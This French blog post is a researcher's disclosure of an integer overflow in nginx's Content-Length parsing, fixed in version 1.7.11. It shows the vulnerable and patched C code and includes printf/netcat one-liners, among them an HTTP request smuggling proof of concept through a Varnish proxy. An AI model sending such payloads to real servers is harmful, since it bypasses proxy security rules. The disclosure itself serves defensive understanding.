Accueil / Blog / Métier / 2015 / Débordement d'entiers dans Nginx (fixé en 1.7.11)

Débordement d'entiers dans Nginx (fixé en 1.7.11)

Par Régis Leroy — publié 27/03/2015
La nouvelle version 1.7.11 du serveur HTTP nginx fixe un bug de débordement d'entiers. voici la petite histoire de la découverte de ce bug.
Débordement d'entiers dans Nginx (fixé en 1.7.11)

(English version and comments on this site.)

Nginx 1.7.11

Une nouvelle version de Nginx, la 1.7.11, vient tout juste de sortir (24-03-2015) et si vous jettez un oeil au fichier CHANGES vous pourrez voir ceci :

    *) Bugfix: in integer overflow handling.
           Thanks to Régis Leroy.

Oui, c'est moi :-), le diff de code est visible sur mercurial, ici :

Le fix qui a été commité est bien meilleur que celui que j'avais originellement soumis. Mais le fait intéressant est qu'il s'agissait d'un bug de débordement d'entier (integer overflow). Je ne pense pas, d'ailleurs, avoir été le premier à rapporter ce type de bugs puisque, par exemple, sur les documents du projet httpd d'OpenBSD comme celui-ci on peut lire:

It turned out that nginx uses many calls with the idiom malloc(num * size) and does not attempt to detect integer overflows (...)

Qui devrait se traduire par:

Il s'est avéré que nginx utilise de nombreux appels avec l'expression malloc(num * size) et ne tente pas de détecter les débordements d'entiers (...)

À partir de cette version 1.7.11 les choses devraient être mieux gérées, mais pour toutes les versions précédentes ceci pourrait être utilisé pour faire des choses peu recommandables. Pour être honnête je n'ai pas trouvé de grosse faille exploitant ces débordements, mais j'ai au moins trouvé un moyen de l'utiliser sur les entêtes HTTP "Content-Length".

La petite histoire

Je travaille en ce moment sur mon temps libre autour de plusieurs techniques de "HTTP Smuggling" -- de la contrebande d'HTTP--, À la recherche de différences entre les serveurs HTTP dans leur façon de gérer les requêtes HTTP mal formées. Je ferais quelques rapports sur mes découvertes plus tard. Pour faire simple les attaques d'HTTP Smuggling sont basées sur des requêtes HTTP cachées, des moyens de cacher partiellement ou complètement des requêtes à certains des agents HTTP dans une chaîne de traitements. Cela peut être utilisé pour du "cache poisoning" (empoisonnement de cache), du DOS (déni de service) ou pour éviter certains contrôles de sécurité.

Revenons-en aux faits. J'essayais un certain nombre de requêtes HTTP mal formées contre Nginx, il était assez tard -- voire même très tard, quelque chose comme 2 heures du matin, j'aurais dû dormir depuis longtemps--, je commençais à dormir sur mon clavier.

J'essayais donc d'envoyer des requêtes avec des oneliners simples, en ligne de commande, de cette façon:

printf 'POST /foo.html HTTP/1.1\015\012Host: www.dummy-host.example.com\015\012Content-Type: application/x-www-form-urlencoded\015\012Content-Length : 15\015\012Content-Length:104\015\012\015\012GET /fic3.html?GET http://www.dummy-host.example.com/fic2.html HTTP/1.1\015\012Host: www.dummy-host.example.com\015\012\015\012GET /fic1.html HTTP/1.1\015\012Host: www.dummy-host.example.com\015\012\015\012'| netcat 127.0.0.1 80

Celle-ci est rejetée parce qu'elle contient deux entêtes "Content-Length". Rejeter ce type de requêtes est la base de la protection contre la contrebande d'HTTP.

Dormant avec un doigt sur la touche '0' du clavier , je me suis retrouvé à envoyer la requête suivante (qui n'est bien en fait qu'une seule requête) -- si vous vous demandez ce que sont les \015 et \012 il s'agit des caractères ascii CR-CarriageReturn (\r) et LF-LineFeed (\n), HTTP est comme windows, il marche avec des fins de lignes CRLF--. J'explose le 'oneliner' en plusieurs lignes pour une meilleure lisibilité:

printf 'GET /fic1.html HTTP/1.1\015\012'\
'Host: www.dummy-host.example.com\015\012'\
'Content-Type: application/x-www-form-urlencoded\015\012'\
'Content-Length:90000000000000000000000000000000000000000000000000000000000000015 \015\012'\
'\015\012123456789012345'\
'GET http://www.dummy-host.example.com/fic2.html HTTP/1.1\015\012'\
'Host: www.dummy-host.example.com\015\012'\
'\015\012'| netcat 127.0.0.1 80
----------------
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Sat, 28 Feb 2015 18:22:18 GMT
Content-Type: text/html
Content-Length: 41
Last-Modified: Sun, 08 Feb 2015 23:51:13 GMT
Connection: keep-alive
Accept-Ranges: bytes

<html><body><H1>FIRST</H1></body></html>
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Sat, 28 Feb 2015 18:22:18 GMT
Content-Type: text/html
Content-Length: 42
Last-Modified: Sun, 08 Feb 2015 23:51:33 GMT
Connection: keep-alive
Accept-Ranges: bytes

<html><body><H1>SECOND</H1></body></html>

Nginx a répondu à cette requête, il ne m'a pas renvoyé de réponse "413", et j'étais suffisamment réveillé pour m'en rendre compte. J'avais deux réponses valides pour une seule requête.

Avec un Content-Lenght plus court on obtient le bon comportement (une erreur 413):

printf 'GET /fic1.html HTTP/1.1\015\012'\
'Host: www.dummy-host.example.com\015\012'\
'Content-Type: application/x-www-form-urlencoded\015\012'\
'Content-Length:90000015 \015\012'\
'\015\012123456789012345'\
'GET http://www.dummy-host.example.com/fic2.html HTTP/1.1\015\012'\
'Host: www.dummy-host.example.com\015\012'\
'\015\012'| netcat 127.0.0.1 80
-----------
HTTP/1.1 413 Request Entity Too Large
Server: nginx/1.2.1
Date: Wed, 25 Mar 2015 17:39:49 GMT
Content-Type: text/html
Content-Length: 198
Connection: close

<html>
<head><title>413 Request Entity Too Large</title></head>
<body bgcolor="white">
<center><h1>413 Request Entity Too Large</h1></center>
<hr><center>nginx/1.2.1</center>
</body>
</html>

La requête envoyée est en fait:

1 - GET /fic1.html HTTP/1.1[CR][LF]
2 - Host: www.dummy-host.example.com[CR][LF]
3 - Content-Type: application/x-www-form-urlencoded[CR][LF]
4 - Content-Length:900000000000000000000000000000000000000000000000000000015 [CR][LF]
5 - [CR][LF]
6 - 123456789012345GET http://www.dummy-host.example.com/fic2.html HTTP/1.1[CR][LF]
7 - Host: www.dummy-host.example.com[CR][LF]
8 - [CR][LF]

C'est une requête GET contenant un "Body" (ligne 6 à 8) (quelque chose d'inhabituel, normalement seules les requêtes POST contiennent une partie "body").

Je rappelle qu'une requête HTTP est composée d'entêtes, et éventuellement d'un body, le tout séparé par un "CRLF".

Le fait d'obtenir deux réponses pour cette requête signifie que Nginx comprend cette requête comme un pipeline d'au moins deux requêtes, de cette façon:

# Requête 1: une requête GET avec un Body de taille 15
1 - GET /fic1.html HTTP/1.1[CR][LF]
2 - Host: www.dummy-host.example.com[CR][LF]
3 - Content-Type: application/x-www-form-urlencoded[CR][LF]
4 - Content-Length: 15 [CR][LF]
5 - [CR][LF]
6 - 123456789012345 #<----------- ici 15 octets
# Requête 2: une nouvelle requête
6 - GET http://www.dummy-host.example.com/fic2.html HTTP/1.1[CR][LF]
7 - Host: www.dummy-host.example.com[CR][LF]
8 - [CR][LF]

Integer Overflow truncation (troncation de débordement d'entier?)

Nous avons ce "900000000000000000000000000000000000000000000000000000015" interprété comme un 15, c'est d'habitude un bug de débordement d'entier.

Un certain nombre de fonctions dans Nginx pouvait provoquer ce type de débordements, ngx_atoi, ngx_atofp, ngx_atosz, ngx_atoof, ngx_atotm and ngx_hextoi. Si je me souviens bien, celle qui était utilisée dans la lecture du Content-length était ngx_atosz.

Regardons la fonction avant le fix:

size_t
ngx_atosz(u_char *line, size_t n)
{
    ssize_t value;

    if (n == 0) {
        return NGX_ERROR;
    }

    for (value = 0; n--; line++) {
        if (*line < '0' || *line > '9') {
            return NGX_ERROR;
        }

        value = value * 10 + (*line - '0');
    }

    if (value < 0) {
        return NGX_ERROR;

    } else {
        return value;
    }
}

Le but est de transformer un texte contenant un entier, comme "15" en un nombre 15. line contient la chaîne et n est la longueur de cette chaîne. Le test (*line < '0' || *line > '9') permet de s'assurer que chaque caractère de la chaîne line est bien un chiffre.

Pour chaque caractère de la ligne le nombre final est calculé en faisant un * 10 avec sa valeur précédente puis en ajoutant le chiffre courant.

Mais avec les très longues chaînes de chiffres arrive un moment ou faire un * 10 dans le code C rend votre valeur plus petite, parce que vous atteignez la valeur maximale possible pour un entier, avec les entiers signés le résultat est tout d'abord un entier négatif. Quand vous atteindrez la limite une seconde fois vous obtiendrez peut-être des nombres positifs plus petits et vous bouclerez au sein des valeurs autorisées, ou peut-être pas, le comportement est inconnu, il dépend du compilateur, de l'OS, etc.

Avec mes propres tests, sur un serveur local, je fus capable d'obtenir 15 assez facilement avec un nombre qui contenait suffisamment de '0' -- comme la chose obtenue par accident --. Je ne sais pas vraiment pourquoi, quelque part dans la boucle for value passe à 0, une chose est certaine, quand vous dépassez les limites il se passe des choses étranges.

Rappelez-vous que le résultat final dépend de votre architecture:

Content-length requête/ Content Length interprété
'10'                   => 10
'9224000000000000000'  => -9222744073709551616
'36893488147419103231' => -1
'36893488147419103232' => 0
'36893488147419103233' => 1
'36893488147419103247' => 15
'368934881474191032320000000000015' => 15
'3689348814741910323200000000000000000015' => 15
'36893488147419104005' => 773
'36893488147420000005' => 896773
'90000000000000000000000000000000000000000000000000000' => -5507902344274116608
'900000000000000000000000000000000000000000000000000000' => 261208778387488768
'9000000000000000000000000000000000000000000000000000000' => 2612087783874887680
'90000000000000000000000000000000000000000000000000000000' => 7674133765039325184
'900000000000000000000000000000000000000000000000000000000' => 2954361355555045376
'9000000000000000000000000000000000000000000000000000000000' => -7349874591868649472
'90000000000000000000000000000000000000000000000000000000000' => 288230376151711744
'900000000000000000000000000000000000000000000000000000000000000' => 4611686018427387904
'9000000000000000000000000000000000000000000000000000000000000000' => -9223372036854775808
'9999999999999999999999999999999999999999999991000000000000000000' => -9000000000000000000
'9999999999999999999999999999999999999999999999900000000000000000' => -100000000000000000
'9999999999999999999999999999999999999999999999990000000000000000' => -10000000000000000
'9999999999999999999999999999999999999999999999999999999999999990' => -10
'90000000000000000000000000000000000000000000000000000000000000000' => 0
'90000000000000000000000000000000000000000000000000000000000000015' => 15
'900000000000000000000000000000000000000000000000000000000000000000000000015' => 15

Ci-dessous la version corrigée de cette même fonction (ma propre proposition était un retour en erreur dès que value était inférieur à sa valeur précédente dans la boucle for) :

ssize_t
ngx_atosz(u_char *line, size_t n)
{
    ssize_t value, cutoff, cutlim;

    if (n == 0) {
        return NGX_ERROR;
    }

    cutoff = NGX_MAX_SIZE_T_VALUE / 10;
    cutlim = NGX_MAX_SIZE_T_VALUE % 10;

    for (value = 0; n--; line++) {
        if (*line < '0' || *line > '9') {
            return NGX_ERROR;
        }

        if (value >= cutoff && (value > cutoff || *line - '0' > cutlim)) {
            return NGX_ERROR;
        }

        value = value * 10 + (*line - '0');
    }

    return value;
}

Exemple d'exploitation Varnish + Nginx

Pour exploiter cette troncation d'entier nous devrons envoyer un très très gros entête Content-length, tellement gros qu'il est impossible de générer et d'envoyer une requête HTTP aussi grosse (par exemple 36893488147419103232, le premier 0, signifie 32 768 Petaoctets); et nous aurons besoin d'avoir le "Body" de la requête transféré vers Nginx sans buffering au niveau du proxy (parce que nous ne pourrons pas attendre que la requête soit complètement transférée au niveau du proxy, nous devons avoir une transmission du proxy vers Nginx alors que celui-ci reçoit encore des entrées). Ceci peut être fait en utilisant Varnish comme proxy (au moins, il y en a peut-être d'autres). Un serveur Apache mod_proxy rejetterait notre requête avec un aussi gros entête Content-Length, mais pas Varnish.

Nous avons besoin d'un proxy, parce que la base d'une attaque HTTP Smuggling c'est justement de faire interpréter différemment une requête par deux acteurs HTTP, ici le proxy varnish en premier acteur, et en second acteur le backend Nginx.

Maintenant quand Nginx recevra la requête depuis le proxy Varnish il lira une valeur de Content-length complètement différente et beaucoup plus petite. et ceci signifie que nous pouvons cacher une nouvelle requête HTTP (ou plusieurs) à l'intérieur du body transféré, quelque chose que le proxy n'aura pas analysé en tant que requête.

Notez que nous ne recevrons jamais les résultats de ces requêtes cachées, et que nous devrons terminer prématurément la requête initiale (car le nombre d'octets à transférer est trop grand). Il n'y a donc normalement aucun moyen d'empoisonner le cache du reverse proxy (ici varnish). L'usage d'un tel exploit est simplement de contourner des règles de sécurité qui seraient éventuellement inscrites dans Varnish et oubliées dans Nginx et utiliser cela pour envoyer des requêtes dont les résultats n'ont pas d'importance. Une politique de sécurité en profondeur impliquerait normalement de réappliquer les mêmes contrôles de sécurité dans Nginx et dans le reverse Proxy, mais si ce n'est pas le cas cette technique pourrait être utilisée pour transférer des requêtes non filtrées à l'aveugle vers Nginx (à l'aveugle car vous ne recevrez jamais la réponse).

C'est la raison pour laquelle ce bug n'est pas considéré comme une faille "sérieuse" par les mainteneurs de Nginx. Utilisée seule, cette faille n'est pas très utile... mais les petits ruisseaux font les grands rivières.

Vous pouvez tenter quelque chose de ce genre (ici Varnish est sur le port 8080 en 127.0.0.1, avec Nginx en backend, et nous avons une requête POST contenant deux requêtes cachées dans son body), n'essayez que sur vous même, bien sur:

printf 'POST /could_fail.html HTTP/1.1\015\012'\
'Host: www.dummy-host.example.com\015\012'\
'Content-Type: application/x-www-form-urlencoded\015\012'\
'Content-length: 9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015\015\012'\
'\015\012123456789012345GET /hidden.html HTTP/1.1\015\012'\
'Host: www.dummy-host.example.com\015\012'\
'\015\012'\
'POST /could_fail.html HTTP/1.1\015\012'\
'Host: www.dummy-host.example.com\015\012'\
'Content-Type: application/x-www-form-urlencoded\015\012'\
'Content-Length: 1048570\015\012'\
'etc..aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
'(... here a quite long filler, something like 500 characters at least because we need varnish'\
'to start transmission of the body and this requires some inputs...)aaaaaaaaaaaaaaaaaaaaaaaaaaa'\
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'| netcat 127.0.0.1 8080

Vous pouvez regarder le résultat avec Wireshark et voir que Nginx répond à toutes les requêtes (ou regardez les logs d'accès).

Je n'ai pas trouvé d'erreur de malloc associée à ces débordements d'entiers, mais vous êtes libres de chercher sur ce sujet.

Ma conclusion serait: "C, how is this still a thing.." :-)

Plus sérieusement, je trouve assez angoissant que la plupart des serveurs webs soient encore sensibles à des erreurs bas-niveau C comme les débordements de buffers, les caractères null, etc.

ABONNEZ-VOUS À LA NEWSLETTER !
Voir aussi
Formation Sécurité Web du 13 au 15 mars à Paris Formation Sécurité Web du 13 au 15 mars à Paris 25/01/2017

Assistez à notre prochaine session de formation Sécurité Web !

Sécurité web: Détail de failles de sécurité dompdf 19/12/2016

Détail des 3 vulnérabilités dompdf de décembre 2015, dont une RCE (Remote Command Execution)

Attaques informatiques janvier 2015 15/01/2015

Qu'en attendre et comment réagir

Bien débuter avec Nginx Bien débuter avec Nginx 03/12/2015

Vous avez longtemps été un utilisateur plus ou moins averti de Apache HTTP Server et vous voulez ...

Exercice de lecture de code malveillant 03/02/2015

Voici un extrait de code malveillant retrouvé sur un serveur "piraté". Ce type de code permet à ...